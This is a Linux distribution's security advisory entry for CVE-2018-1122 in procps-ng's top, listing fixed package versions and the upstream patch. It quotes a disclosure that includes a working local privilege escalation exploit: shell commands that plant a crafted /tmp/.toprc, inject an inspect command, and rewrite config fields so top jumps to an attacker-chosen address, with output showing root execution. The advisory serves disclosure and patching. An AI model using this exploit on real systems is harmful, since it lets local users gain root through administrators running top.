CLD-403 Details

Other IDs this deficiency may be known by:

CVE ID CVE-2018-1122 (nvd) (mitre) (debian) (archlinux) (red hat) (suse) (ubuntu)
Other ID(s)

Basic Information:

Affected Package(s) procps-ng
Deficiency Type SECURITY
Date Created 2018-05-17 13:18:04
Date Last Modified 2018-05-23 09:53:06

Version Specific Information:

Cucumber 1.0 i686fixed in procps-ng-3.3.11-i686-3
Cucumber 1.0 x86_64fixed in procps-ng-3.3.11-x86_64-3 and procps-ng-lib_i686-3.3.11-lib_i686-3

Cucumber 1.1 i686 fixed in procps-ng-3.3.11-i686-3
Cucumber 1.1 x86_64 fixed in procps-ng-3.3.11-x86_64-3 and procps-ng-lib_i686-3.3.11-lib_i686-3

Details:

=================================== Overview ===================================

  top reads its configuration file from the current working directory,
  without any security check, if the HOME environment variable is unset
  or empty. In this very unlikely scenario, an attacker can carry out an
  LPE (Local Privilege Escalation) if an administrator executes top in
  /tmp (for example), by exploiting one of several vulnerabilities in
  top's config_file() function.

================================ Initial Report ================================

From http://www.openwall.com/lists/oss-security/2018/05/17/1:


If a/ an administrator executes top in a directory writable by an
attacker and b/ the HOME environment variable is unset or empty, then
top reads its configuration file from the current working directory,
without any security check:

3829 static void configs_read (void) {
....
3847    p_home = getenv("HOME");
3848    if (!p_home || p_home[0] == '\0')
3849       p_home = ".";
3850    snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", p_home, Myname);
3851 
3852    if (!(fp = fopen(Rc_name, "r"))) {
....
3865    if (fp) {
3866       p = config_file(fp, Rc_name, &tmp_delay);

Although b/ is very unlikely, we developed a simple command-line method
for exploiting one of the vulnerabilities in config_file(), when top is
not a PIE (Position-Independent Executable). For example, on Ubuntu
16.04.4:

$ file /usr/bin/top
/usr/bin/top: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e64fe2c89ff07ca4ce5d169078586d2854628a29, stripped

First, we dump a clean configuration file to /tmp/.toprc, by running top
and pressing the 'W' key:

$ cd /tmp
$ env -u HOME top
W
q

Second, we add an arbitrary "inspect" command to this configuration file
(inspect commands are normally executed when the user presses the 'Y'
key):

$ echo -e 'pipe\tname\tid>>/tmp/top.%d.%lx' >> .toprc

To execute our inspect command without user interaction, we will emulate
the 'Y' key by jumping directly into inspection_utility(), at 0x40a989
(the fflush(stdout) is INSP_BUSY's last instruction):

3442 static void inspection_utility (int pid) {
....
3496          case kbd_ENTER:
3497             INSP_BUSY;
3498             Insp_sel = &Inspect.tab[sel];
3499             Inspect.tab[sel].func(Inspect.tab[sel].fmts, pid);

  40a97d:       48 8b 3d 1c f8 20 00    mov    0x20f81c(%rip),%rdi        # 61a1a0 
  40a984:       e8 67 7f ff ff          callq  4028f0 
  40a989:       48 63 05 2c f9 20 00    movslq 0x20f92c(%rip),%rax        # 61a2bc
  40a990:       8b 74 24 74             mov    0x74(%rsp),%esi
  40a994:       48 c1 e0 06             shl    $0x6,%rax
  40a998:       48 03 05 61 11 23 00    add    0x231161(%rip),%rax        # 63bb00
  40a99f:       48 89 05 12 11 23 00    mov    %rax,0x231112(%rip)        # 63bab8
  40a9a6:       48 8b 78 18             mov    0x18(%rax),%rdi
  40a9aa:       ff 10                   callq  *(%rax)
  40a9ac:       5b                      pop    %rbx

To jump directly into inspection_utility(), we will take control of
top's execution flow, by exploiting a vulnerability in config_file().
"sortindx" is read from the configuration file without any sanity check,
and is later used by window_show() to access a struct FLD_t which
contains a function pointer "sort":

5876 static int window_show (WIN_t *q, int wmax) {
....
5894       qsort(q->ppt, Frame_maxtask, sizeof(proc_t*), Fieldstab[q->rc.sortindx].sort);

  40de01:       ba 08 00 00 00          mov    $0x8,%edx
  40de06:       48 c1 e0 05             shl    $0x5,%rax
  40de0a:       48 8b 88 30 99 61 00    mov    0x619930(%rax),%rcx
  40de11:       e8 7a 47 ff ff          callq  402590 

To take control of this function pointer, we will write 0x40a989's LSW
(Least Significant Word, 32 bits) into "graph_mems" and 0x40a989's MSW
(Most Significant Word, 32 bits) into "summclr", which are read from the
configuration file and written to 0x63ed30 (and 0x63ed34), a memory
location accessible by 0x619930+(sortindx<<0x5):

3676 static const char *config_file (FILE *fp, const char *name, float *delay) {
....
3710       if (3 > fscanf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d, graph_cpus=%d, graph_mems=%d\n"
3711          , &w->rc.winflags, &w->rc.sortindx, &w->rc.maxtasks, &w->rc.graph_cpus, &w->rc.graph_mems))
3712             return p;
3713       if (4 != fscanf(fp, "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n"
3714          , &w->rc.summclr, &w->rc.msgsclr
3715          , &w->rc.headclr, &w->rc.taskclr))
3716             return p;

  406f90:       4d 8d b5 30 ed 63 00    lea    0x63ed30(%r13),%r14
  .......
  406fa9:       41 56                   push   %r14
  .......
  406fb3:       e8 d8 b7 ff ff          callq  402790 
  .......
  406fca:       49 8d 95 34 ed 63 00    lea    0x63ed34(%r13),%rdx
  .......
  406fe5:       e8 a6 b7 ff ff          callq  402790 

Next, we modify the configuration file's "graph_mems", "summclr", and
"sortindx" accordingly:

$ sed -i s/'graph_mems=[0-9]*'/graph_mems=$((0x40a989))/ .toprc

$ sed -i s/'summclr=[0-9]*'/summclr=0/ .toprc

$ sed -i s/'sortindx=[0-9]*'/sortindx=$(((0x63ed30-0x619930)>>0x5))/ .toprc

Last, we turn off the View_MEMORY bit in the configuration file's
"winflags", to prevent summary_show() from crashing because of our
out-of-bounds "graph_mems":

314 #define View_MEMORY  0x001000     // 'm' - display memory summary

5418 static void summary_show (void) {
....
5499    if (isROOM(View_MEMORY, 2)) {
....
5540       if (w->rc.graph_mems) {
....
5559          ix = w->rc.graph_mems - 1;
....
5572          snprintf(util, sizeof(util), gtab[ix].swap, (int)((pct_swap * Graph_adj) + .5), gtab[ix].type);

$ winflags=`grep -m 1 winflags= .toprc | sed s/'.*winflags=\([0-9]*\).*'/'\1'/`
$ sed -i s/'winflags=[0-9]*'/winflags=$((winflags&~0x001000))/ .toprc

Then, if an administrator executes top in /tmp, without a HOME
environment variable (or with an empty HOME environment variable):

# cat /tmp/top.*
cat: '/tmp/top.*': No such file or directory

# cd /tmp
# env -u HOME top
...
        signal 11 (SEGV) was caught by top, please
        see http://www.debian.org/Bugs/Reporting
Segmentation fault (core dumped)

# cat /tmp/top.*
uid=0(root) gid=0(root) groups=0(root)

================================= Our Analysis =================================

Fixed in patch 0097-top-Do-not-default-to-the-cwd-in-configs_read.patch from
https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz

This patch needs backporting to procps-ng 3.3.11